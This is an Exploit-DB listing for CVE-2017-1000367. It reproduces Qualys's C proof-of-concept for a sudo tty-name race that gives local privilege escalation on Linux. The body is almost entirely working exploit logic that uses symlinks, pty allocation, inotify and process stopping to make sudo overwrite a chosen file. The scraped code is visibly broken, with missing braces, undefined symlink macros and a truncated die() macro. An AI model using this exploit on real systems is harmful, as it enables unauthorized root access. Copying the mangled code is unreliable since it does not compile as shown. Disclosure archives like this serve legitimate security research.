Sudo - 'get_process_ttyname()' Privilege Escalation

EDB-ID: 42183
Author: Qualys Corporation
Published: 2017-06-14
CVE: CVE-2017-1000367
Type: Local
Platform: Linux
Aliases: Linux_sudo_CVE-2017-1000367.c
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

  * E-DB Note: 
* E-DB Note:
* Linux_sudo_CVE-2017-1000367.c
* Copyright (C) 2017 Qualys, Inc.
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <>.

#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <paths.h>
#include <pty.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define SUDO_BINARY "/usr/bin/sudo"
#define TARGET_FILE "/etc/init.d/README"
#define SELINUX_ROLE "unconfined_r"

#define WORKING_DIR "/dev/shm/_tmp"

#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
} while (0)

main(const int my_argc, const char * const my_argv[])
if (my_argc <= 1) die();
if (my_argc >= INT_MAX/2) die();
char comm[sizeof(WORKING_DIR) + 16];
char pts[PATH_MAX];

#define PTS_NUM 32
int pts_fds[2 * PTS_NUM];
unsigned int i = PTS_NUM;
while (i--) {
int ptm_fd;
if (openpty(&ptm_fd, &pts_fds[i], pts, NULL, NULL)) die();
if (close(ptm_fd)) die();
struct stat sbuf;
if (fstat(*pts_fds, &sbuf)) die();
if (!S_ISCHR(sbuf.st_mode)) die();
if (sbuf.st_rdev <= 0) die();
if ((unsigned int)snprintf(comm, sizeof(comm), "%s/ %lu ", WORKING_DIR, (unsigned long)sbuf.st_rdev)
>= sizeof(comm)) die();
for (i = 0; i < PTS_NUM; i++) {
if (close(pts_fds[i])) die();

if (mkdir(WORKING_DIR, 0700)) die();
if (symlink(pts, TTY_SYMLINK)) die();
if (symlink(TARGET_FILE, TTY_SYMLINK_)) die();
if (symlink(SUDO_BINARY, comm)) die();

const int inotify_fd = inotify_init1(IN_CLOEXEC);
if (inotify_fd <= -1) die();
const int working_wd = inotify_add_watch(inotify_fd, WORKING_DIR, IN_OPEN | IN_CLOSE_NOWRITE);
if (working_wd <= -1) die();

const int cpu = sched_getcpu();
if (cpu >= CPU_SETSIZE) die();
if (cpu < 0) die();
cpu_set_t cpu_set;
CPU_SET(cpu, &cpu_set);
if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) die();

const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
const unsigned int argc = 3 + my_argc - 1;
char ** const argv = calloc(argc + 1, sizeof(char *));
if (!argv) die();
argv[0] = comm;
argv[1] = "-r";
argv[2] = SELINUX_ROLE;
memcpy(&argv[3], &my_argv[1], my_argc * sizeof(char *));
if (argv[argc]) die();

if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
static const struct sched_param sched_param = { .sched_priority = 0 };
(void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
execve(*argv, argv, NULL);

struct inotify_event event;
if (read(inotify_fd, &event, sizeof(event)) != (ssize_t)sizeof(event)) die();
if (kill(pid, SIGSTOP)) die();
if (event.wd != working_wd) die();
if (event.mask != (IN_OPEN | IN_ISDIR)) die();

for (i = 0; ; i++) {
if (i >= sizeof(pts_fds) / sizeof(*pts_fds)) die();
int ptm_fd;
char tmp[PATH_MAX];
if (openpty(&ptm_fd, &pts_fds[i], tmp, NULL, NULL)) die();
if (!strcmp(tmp, pts)) break;
if (close(ptm_fd)) die();
while (i--) {
if (close(pts_fds[i])) die();
if (kill(pid, SIGCONT)) die();
if (read(inotify_fd, &event, sizeof(event)) != (ssize_t)sizeof(event)) die();
if (kill(pid, SIGSTOP)) die();
if (event.wd != working_wd) die();
if (event.mask != (IN_CLOSE_NOWRITE | IN_ISDIR)) die();

if (rename(TTY_SYMLINK_, TTY_SYMLINK)) die();
if (kill(pid, SIGCONT)) die();

int status = 0;
if (waitpid(pid, &status, WUNTRACED) != pid) die();
if (!WIFEXITED(status)) die();

if (unlink(comm)) die();
if (unlink(TTY_SYMLINK)) die();
if (rmdir(WORKING_DIR)) die();

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